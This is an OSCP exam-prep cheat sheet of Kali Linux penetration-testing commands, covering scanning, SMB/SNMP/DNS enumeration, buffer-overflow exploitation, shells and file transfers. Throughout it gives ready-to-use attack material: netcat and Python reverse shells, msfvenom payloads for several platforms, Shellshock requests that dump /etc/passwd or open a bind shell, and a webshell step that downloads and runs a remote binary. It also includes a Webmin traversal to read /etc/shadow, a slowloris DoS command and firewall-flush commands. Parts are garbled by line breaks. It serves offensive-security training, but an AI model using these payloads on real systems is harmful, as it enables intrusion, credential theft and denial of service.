OSCP Survival Guide

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OSCP-Survival-Guide

_____ _____ _____ ______ _____ _ _ _____ _ _

| _ / ___/ __ \| ___ \ / ___| (_) | | | __ \ (_) | |

| | | \ `--.| / \/| |_/ / \ `--. _ _ _ ____ _____ ____ _| | | | \/_ _ _ __| | ___

| | | |`--. \ | | __/ `--. \ | | | '__\ \ / / \ \ / / _` | | | | __| | | | |/ _` |/ _ \

\ \_/ /\__/ / \__/\| | /\__/ / |_| | | \ V /| |\ V / (_| | | | |_\ \ |_| | | (_| | __/

\___/\____/ \____/\_| \____/ \__,_|_| \_/ |_| \_/ \__,_|_| \____/\__,_|_|\__,_|\___|

Kali Linux Offensive Security Certified Professional Playbook

NOTE: This document reffers to the target ip as the export variable $ip.

To set this value on the command line use the following syntax:

export ip=192.168.1.100

UPDATE: October 2, 2017 Thanks for all the Stars! Wrote my OSCP exam last night, did not pass sadly ... but I recorded a stop

motion video of my failed attempt. TRY HARDER!

https://www.youtube.com/watch?v=HBMZWl9zcsc

The good news is that I will be learning more and adding more content to this guide :D

Table of Contents

Kali Linux

Information Gathering & Vulnerability Scanning

Passive Information Gathering

Active Information Gathering

Port Scanning

Enumeration

HTTP Enumeration

Buffer Overflows and Exploits

Shells

File Transfers

Privilege Escalation

Linux Privilege Escalation

Windows Privilege Escalation

Client, Web and Password Attacks

Client Attacks

Web Attacks

File Inclusion Vulnerabilities LFI/RFI

Database Vulnerabilities

Password Attacks

Password Hash Attacks

Networking, Pivoting and Tunneling

The Metasploit Framework

Bypassing Antivirus Software

Kali Linux

Set the Target IP Address to the $ip system variable

export ip=192.168.1.100

Find the location of a file

locate sbd.exe

Search through directories in the $PATH environment variable

which sbd

Find a search for a file that contains a specific string in it’s name:

find / -name sbd\*

Show active internet connections

netstat -lntp

Change Password

passwd

Verify a service is running and listening

netstat -antp |grep apache

Start a service

systemctl start ssh

systemctl start apache2

Have a service start at boot

systemctl enable ssh

Stop a service

systemctl stop ssh

Unzip a gz file

gunzip access.log.gz

Unzip a tar.gz file

tar -xzvf file.tar.gz

Search command history

history | grep phrase_to_search_for

Download a webpage

wget http://www.cisco.com

Open a webpage

curl http://www.cisco.com

String manipulation

Count number of lines in file

wc index.html

Get the start or end of a file

head index.html

tail index.html

Extract all the lines that contain a string

grep "href=" index.html

Cut a string by a delimiter, filter results then sort

grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

Using Grep and regular expressions and output to a file

cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt

Use a bash loop to find the IP address behind each host

for url in $(cat list.txt); do host $url; done

Collect all the IP Addresses from a log file and sort by frequency

cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Decoding using Kali

Decode Base64 Encoded Values

echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

Decode Hexidecimal Encoded Values

echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

Netcat - Read and write TCP and UDP Packets

Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):

https://joncraton.org/blog/46/netcat-for-windows/

Connect to a POP3 mail server

nc -nv $ip 110

Listen on TCP/UDP port

nc -nlvp 4444

Connect to a netcat port

nc -nv $ip 4444

Send a file using netcat

nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

Receive a file using netcat

nc -nlvp 4444 > incoming.exe

Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

whereis nc

nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

Create a reverse shell with Ncat using cmd.exe on Windows

nc.exe -nlvp 4444 -e cmd.exe

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

Create a reverse shell with Ncat using bash on Linux

nc -nv $ip 4444 -e /bin/bash

Netcat for Banner Grabbing:

echo "" | nc -nv -w1 <IP Address> <Ports>

Ncat - Netcat for Nmap project which provides more security avoid IDS

Reverse shell from windows using cmd.exe using ssl

ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

Listen on port 4444 using ssl

ncat -v $ip 4444 --ssl

Wireshark

Show only SMTP (port 25) and ICMP traffic:

tcp.port eq 25 or icmp

Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

Some commands are equal

ip.addr == xxx.xxx.xxx.xxx

Equals

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

ip.addr != xxx.xxx.xxx.xxx

Equals

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump

Display a pcap file

tcpdump -r passwordz.pcap

Display ips and filter and sort

tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

Grab a packet capture on port 80

tcpdump tcp port 80 -w output.pcap -i eth0

Check for ACK or PSH flag set in a TCP packet

tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

IPTables

Deny traffic to ports except for Local Loopback

iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP

iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

Clear ALL IPTables firewall rules

iptables -P INPUT ACCEPT

iptables -P FORWARD ACCEPT

iptables -P OUTPUT ACCEPT

iptables -t nat -F

iptables -t mangle -F

iptables -F

iptables -X

iptables -t raw -F iptables -t raw -X

Information Gathering & Vulnerability Scanning

Passive Information Gathering

Google Hacking

Google search to find website sub domains

site:microsoft.com

Google filetype, and intitle

intitle:"netbotz appliance" "OK" -filetype:pdf

Google inurl

inurl:"level/15/sexec/-/show"

Google Hacking Database:

https://www.exploit-db.com/google-hacking-database/

SSL Certificate Testing

https://www.ssllabs.com/ssltest/analyze.html

Email Harvesting

Simply Email

git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

Netcraft

Determine the operating system and tools used to build a site

https://searchdns.netcraft.com/

Whois Enumeration

whois domain-name-here.com

whois $ip

Banner Grabbing

nc -v $ip 25

telnet $ip 25

nc TARGET-IP 80

Recon-ng - full-featured web reconnaissance framework written in Python

cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git

cd /opt/recon-ng

./recon-ng

show modules

help

Active Information Gathering

Port Scanning

Subnet Reference Table

/ Addresses Hosts Netmask Amount of a Class C

/30 4 2 255.255.255.252 1/64

/29 8 6 255.255.255.248 1/32

/28 16 14 255.255.255.240 1/16

/27 32 30 255.255.255.224 1/8

/26 64 62 255.255.255.192 1/4

/25 128 126 255.255.255.128 1/2

/24 256 254 255.255.255.0 1

/23 512 510 255.255.254.0 2

/22 1024 1022 255.255.252.0 4

/21 2048 2046 255.255.248.0 8

/20 4096 4094 255.255.240.0 16

/19 8192 8190 255.255.224.0 32

/18 16384 16382 255.255.192.0 64

/17 32768 32766 255.255.128.0 128

/16 65536 65534 255.255.0.0 256

Set the ip address as a varble

export ip=192.168.1.100 nmap -A -T4 -p- $ip

Netcat port Scanning

nc -nvv -w 1 -z $ip 3388-3390

Discover active IPs usign ARP on the network: arp-scan $ip/24

Discover who else is on the network

netdiscover

Discover IP Mac and Mac vendors from ARP

netdiscover -r $ip/24

Nmap stealth scan using SYN

nmap -sS $ip

Nmap stealth scan using FIN

nmap -sF $ip

Nmap Banner Grabbing

nmap -sV -sT $ip

Nmap OS Fingerprinting

nmap -O $ip

Nmap Regular Scan:

nmap $ip/24

Enumeration Scan

nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

Enumeration Scan All Ports TCP / UDP and output to a txt file

nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

Nmap output to a file:

nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24

Quick Scan:

nmap -T4 -F $ip/24

Quick Scan Plus:

nmap -sV -T4 -O -F --version-light $ip/24

Quick traceroute

nmap -sn --traceroute $ip

All TCP and UDP Ports

nmap -v -sU -sS -p- -A -T4 $ip

Intense Scan:

nmap -T4 -A -v $ip

Intense Scan Plus UDP

nmap -sS -sU -T4 -A -v $ip/24

Intense Scan ALL TCP Ports

nmap -p 1-65535 -T4 -A -v $ip/24

Intense Scan - No Ping

nmap -T4 -A -v -Pn $ip/24

Ping scan

nmap -sn $ip/24

Slow Comprehensive Scan

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)"

$ip/24

Scan with Active connect in order to weed out any spoofed ports designed to troll you

nmap -p1-65535 -A -T5 -sT $ip

Enumeration

DNS Enumeration

NMAP DNS Hostnames Lookup nmap -F --dns-server <dns server ip> <target ip range>

Host Lookup

host -t ns megacorpone.com

Reverse Lookup Brute Force - find domains in the same range

for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"

Perform DNS IP Lookup

dig a domain-name-here.com @nameserver

Perform MX Record Lookup

dig mx domain-name-here.com @nameserver

Perform Zone Transfer with DIG

dig axfr domain-name-here.com @nameserver

DNS Zone Transfers

Windows DNS zone transfer

nslookup -> set type=any -> ls -d blah.com

Linux DNS zone transfer

dig axfr blah.com @ns1.blah.com

Dnsrecon DNS Brute Force

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Dnsrecon DNS List of megacorp

dnsrecon -d megacorpone.com -t axfr

DNSEnum

dnsenum zonetransfer.me

NMap Enumeration Script List:

NMap Discovery

https://nmap.org/nsedoc/categories/discovery.html

Nmap port version detection MAXIMUM power

nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>

NFS (Network File System) Enumeration

Show Mountable NFS Shares nmap -sV --script=nfs-showmount $ip

RPC (Remote Procedure Call) Enumeration

Connect to an RPC share without a username and password and enumerate privledges rpcclient --user="" --

command=enumprivs -N $ip

Connect to an RPC share with a username and enumerate privledges rpcclient --user="<Username>" --

command=enumprivs $ip

SMB Enumeration

SMB OS Discovery

nmap $ip --script smb-os-discovery.nse

Nmap port scan

nmap -v -p 139,445 -oG smb.txt $ip-254

Netbios Information Scanning

nbtscan -r $ip/24

Nmap find exposed Netbios servers

nmap -sU --script nbstat.nse -p 137 $ip

Nmap all SMB scripts scan

nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-

args=unsafe=1 $ip

Nmap all SMB scripts authenticated scan

nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute

or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip

SMB Enumeration Tools

nmblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U "" $ip

enum4linux $ip

enum4linux -a $ip

SMB Finger Printing

smbclient -L //$ip

Nmap Scan for Open SMB Shares

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445

192.168.10.0/24

Nmap scans for vulnerable SMB Servers

nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

Nmap List all SMB scripts installed

ls -l /usr/share/nmap/scripts/smb*

Enumerate SMB Users

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14

python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip

RID Cycling - Null Sessions

ridenum.py $ip 500 50000 dict.txt

Manual Null Session Testing

Windows: net use \\$ip\IPC$ "" /u:""

Linux: smbclient -L //$ip

SMTP Enumeration - Mail Severs

Verify SMTP port using Netcat

nc -nv $ip 25

POP3 Enumeration - Reading other peoples mail - You may find usernames and passwords for email accounts, so here is

how to check the mail using Telnet

root@kali:~# telnet $ip 110

+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready

USER billydean

+OK

PASS password

+OK Welcome billydean

list

+OK 2 1807

1 786

2 1021

retr 1

+OK Message follows

From: jamesbrown@motown.com

Dear Billy Dean,

Here is your login for remote desktop ... try not to forget it this time!

username: billydean

password: PA$$W0RD!Z

SNMP Enumeration -Simple Network Management Protocol

Fix SNMP output values so they are human readable

apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.conf

SNMP Enumeration Commands

snmpcheck -t $ip -c public

snmpwalk -c public -v1 $ip 1|

grep hrSWRunName|cut -d\* \* -f

snmpenum -t $ip

onesixtyone -c names -i hosts

SNMPv3 Enumeration

nmap -sV -p 161 --script=snmp-info $ip/24

Automate the username enumeration process for SNMPv3:

apt-get install snmp snmp-mibs-downloader wget

https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

SNMP Default Credentials

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

MS SQL Server Enumeration

Nmap Information Gathering

nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-

sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-

port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip

Webmin and miniserv/0.01 Enumeration - Port 10000

Test for LFI & file disclosure vulnerability by grabbing /etc/passwd

`curl

http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/

Test to see if webmin is running as root by grabbing /etc/shadow

Linux OS Enumeration

List all SUID files

find / -perm -4000 2>/dev/null

Determine the current version of Linux

cat /etc/issue

Determine more information about the environment

uname -a

List processes running

ps -xaf

List the allowed (and forbidden) commands for the invoking use

sudo -l

List iptables rules

iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t

raw iptables -vL -t security

Windows OS Enumeration

net config Workstation

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

hostname

net users

ipconfig /all

route print

arp -A

netstat -ano

netsh firewall show state

netsh firewall show config

schtasks /query /fo LIST /v

tasklist /SVC

net start

DRIVERQUERY

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

`curl

http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/

dir /s pass == cred == vnc == .config

findstr /si password *.xml *.ini *.txt

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

Vulnerability Scanning with Nmap

Nmap Exploit Scripts

https://nmap.org/nsedoc/categories/exploit.html

Nmap search through vulnerability scripts

cd /usr/share/nmap/scripts/ ls -l \*vuln\*

Nmap search through Nmap Scripts for a specific keyword

ls /usr/share/nmap/scripts/\* | grep ftp

Scan for vulnerable exploits with nmap

nmap --script exploit -Pn $ip

NMap Auth Scripts

https://nmap.org/nsedoc/categories/auth.html

Nmap Vuln Scanning

https://nmap.org/nsedoc/categories/vuln.html

NMap DOS Scanning

nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --

script-args http-slowloris.runforever=true

Scan for coldfusion web vulnerabilities

nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

Anonymous FTP dump with Nmap

nmap -v -p 21 --script=ftp-anon.nse $ip-254

SMB Security mode scan with Nmap

nmap -v -p 21 --script=ftp-anon.nse $ip-254

File Enumeration

Find UID 0 files root execution

/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null

Get handy linux file system enumeration script (/var/tmp)

wget https://highon.coffee/downloads/linux-local-enum.sh chmod +x ./linux-local-enum.sh ./linux-local-

enum.sh

Find executable files updated in August

find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug

Find a specific file on linux

find /. -name suid\*

Find all the strings in a file

strings <filename>

Determine the type of a file

file <filename>

HTTP Enumeration

Search for folders with gobuster:

gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip

OWasp DirBuster - Http folder enumeration - can take a dictionary file

Dirb - Directory brute force finding using a dictionary file

dirb http://$ip/ wordlist.dict dirb <http://vm/>

Dirb against a proxy

dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129

Nikto

nikto -h $ip

HTTP Enumeration with NMAP

nmap --script=http-enum -p80 -n $ip/24

Nmap Check the server methods

nmap --script http-methods --script-args http-methods.url-path='/test' $ip

Get Options available from web server curl -vX OPTIONS vm/test

Uniscan directory finder:

uniscan -qweds -u <http://vm/>

Wfuzz - The web brute forcer

wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test

wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ

Recurse level 3

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ

Open a service using a port knock (Secured with Knockd)

for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done

WordPress Scan - Wordpress security scanner

wpscan --url $ip/blog --proxy $ip:3129

RSH Enumeration - Unencrypted file transfer system

auxiliary/scanner/rservices/rsh_login

Finger Enumeration

finger @$ip

finger batman@$ip

TLS & SSL Testing

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html

Proxy Enumeration (useful for open proxies)

nikto -useproxy http://$ip:3128 -h $ip

Steganography

apt-get install steghide

steghide extract -sf picture.jpg

steghide info picture.jpg

apt-get install stegosuite

The OpenVAS Vulnerability Scanner

apt-get update

apt-get install openvas

openvas-setup

netstat -tulpn

https://$ip:9392

Buffer Overflows and Exploits

DEP and ASLR - Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR)

Nmap Fuzzers:

NMap Fuzzer List

https://nmap.org/nsedoc/categories/fuzzer.html

NMap HTTP Form Fuzzer

nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80

$ip

Nmap DNS Fuzzer

nmap --script dns-fuzz --script-args timelimit=2h $ip -d

MSFvenom

https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Windows Buffer Overflows

Controlling EIP

locate pattern_create

pattern_create.rb -l 2700

locate pattern_offset

pattern_offset.rb -q 39694438

Verify exact location of EIP - [*] Exact match at offset 2606

buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90

Check for “Bad Characters” - Run multiple times 0x00 - 0xFF

Use Mona to determine a module that is unprotected

Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP

Use NASM to determine the HEX code for a JMP ESP instruction

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

JMP ESP

00000000 FFE4 jmp esp

Run Mona in immunity log window to find (FFE4) XEF command

!mona find -s "\xff\xe4" -m slmfc.dll

found at 0x5f4a358f - Flip around for little endian format

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390

MSFVenom to create payload

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

Final Payload with NOP slide

buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

Create a PE Reverse Shell

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f

exe -o shell_reverse.exe

Create a PE Reverse Shell and Encode 9 times with Shikata_ga_nai

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f

exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

Create a PE reverse shell and embed it into an existing executable

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x

/usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

Create a PE Reverse HTTPS shell

msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe

Linux Buffer Overflows

Run Evans Debugger against an app

edb --run /usr/games/crossfire/bin/crossfire

ESP register points toward the end of our CBuffer

add eax,12

jmp eax

83C00C add eax,byte +0xc

FFE0 jmp eax

Check for “Bad Characters” Process of elimination - Run multiple times 0x00 - 0xFF

Find JMP ESP address

"\x97\x45\x13\x08" # Found at Address 08134597

crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai

Connect to the shell with netcat:

nc -v $ip 4444

Shells

Netcat Shell Listener

nc -nlvp 4444

Spawning a TTY Shell - Break out of Jail or limited shell You should almost always upgrade your shell after taking control

of an apache or www user.

(For example when you encounter an error message when trying to run an exploit sh: no job control in this

shell )

(hint: sudo -l to see what you can run)

You may encounter limited shells that use rbash and only allow you to execute a single command per session. You

can overcome this by executing an SSH shell to your localhost:

ssh user@$ip nc $localip 4444 -e /bin/sh

enter user's password

python -c 'import pty; pty.spawn("/bin/sh")'

export TERM=linux

python -c 'import pty; pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);

s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","-i"\]);'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

From within IRB: exec "/bin/sh"

From within vi: :!bash or

:set shell=/bin/bash:shell

From within vim ':!bash':

From within nmap: !sh

From within tcpdump

echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w

/dev/null –W 1 –G 1 –z /tmp/.tst –Z root

From busybox /bin/busybox telnetd -|/bin/sh -p9999

Pen test monkey PHP reverse shell

http://pentestmonkey.net/tools/web-shells/php-reverse-shel

php-findsock-shell - turns PHP port 80 into an interactive shell

http://pentestmonkey.net/tools/web-shells/php-findsock-shell

Perl Reverse Shell

http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

PHP powered web browser Shell b374k with file upload etc.

https://github.com/b374k/b374k

Windows reverse shell - PowerSploit’s Invoke-Shellcode script and inject a Meterpreter shell

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

Web Backdoors from Fuzzdb https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors

Creating Meterpreter Shells with MSFVenom - http://www.securityunlocked.com/2016/01/02/network-security-

pentesting/most-useful-msfvenom-payloads/

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf >

shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe >

shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho >

shell.macho

Web Payloads

PHP

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >

shell.php

Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage:

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp >

shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is

able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming

shells. Handlers should be in the following format.

use exploit/multi/handler

set PAYLOAD <Payload name>

set LHOST <LHOST value>

set LPORT <LPORT value>

set ExitOnSession false

exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

SSH to Meterpreter: https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

use auxiliary/scanner/ssh/ssh_login

use post/multi/manage/shell_to_meterpreter

Shellshock

Testing for shell shock with NMap

root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip

git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

Shell Shock SSH Forced Command

Check for forced command by enabling all debug output with ssh

ssh -vvv

ssh -i noob noob@$ip '() { :;}; /bin/bash'

cat file (view file contents)

echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo

\\$(</etc/passwd)\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

Shell Shock run bind shell

echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e

/bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

File Transfers

Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his

target.

Simple Local Web Servers

Run a basic http server, great for serving up shells etc

python -m SimpleHTTPServer 80

Run a basic Python3 http server, great for serving up shells etc

python3 -m http.server

Run a ruby webrick basic http server

ruby -rwebrick -e "WEBrick::HTTPServer.new

(:Port => 80, :DocumentRoot => Dir.pwd).start"

Run a basic PHP http server

php -S $ip:80

Creating a wget VB Script on Windows:

https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt

Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky

without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to

transfer files from a web server (the timeout 1 commands are required after each new line):

echo Set args = Wscript.Arguments >> webdl.vbs

timeout 1

echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs

timeout 1

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs

timeout 1

echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs

timeout 1

echo xHttp.Open "GET", Url, False >> webdl.vbs

timeout 1

echo xHttp.Send >> webdl.vbs

timeout 1

echo with bStrm >> webdl.vbs

timeout 1

echo .type = 1 ' >> webdl.vbs

timeout 1

echo .open >> webdl.vbs

timeout 1

echo .write xHttp.responseBody >> webdl.vbs

timeout 1

echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs

timeout 1

echo end with >> webdl.vbs

timeout 1

echo

The file can be run using the following syntax:

C:\temp\cscript.exe webdl.vbs

Mounting File Shares

Mount NFS share to /mnt/nfs

mount $ip:/vol/share /mnt/nfs

HTTP Put

nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php

Uploading Files

SCP

scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2

scp localfile username@$ip:~/Folder/

scp Linux_Exploit_Suggester.pl bob@192.168.1.10:~

Webdav with Davtest- Some sysadmins are kind enough to enable the PUT method - This tool will auto upload a

backdoor

davtest -move -sendbd auto -url http://$ip

https://github.com/cldrn/davtest

You can also upload a file using the PUT method with the curl command:

curl -T 'leetshellz.txt' 'http://$ip'

And rename it to an executable file using the MOVE method with the curl command:

curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

Upload shell using limited php shell cmd

use the webshell to download and execute the meterpreter

[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php

[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.php

curl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php

TFTP

mkdir /tftp

atftpd --daemon --port 69 /tftp

cp /usr/share/windows-binaries/nc.exe /tftp/

EX. FROM WINDOWS HOST:

C:\Users\Offsec>tftp -i $ip get nc.exe

FTP

apt-get update && apt-get install pure-ftpd

#!/bin/bash

groupadd ftpgroup

useradd -g ftpgroup -d /dev/null -s /etc ftpuser

pure-pw useradd offsec -u ftpuser -d /ftphome

pure-pw mkdb

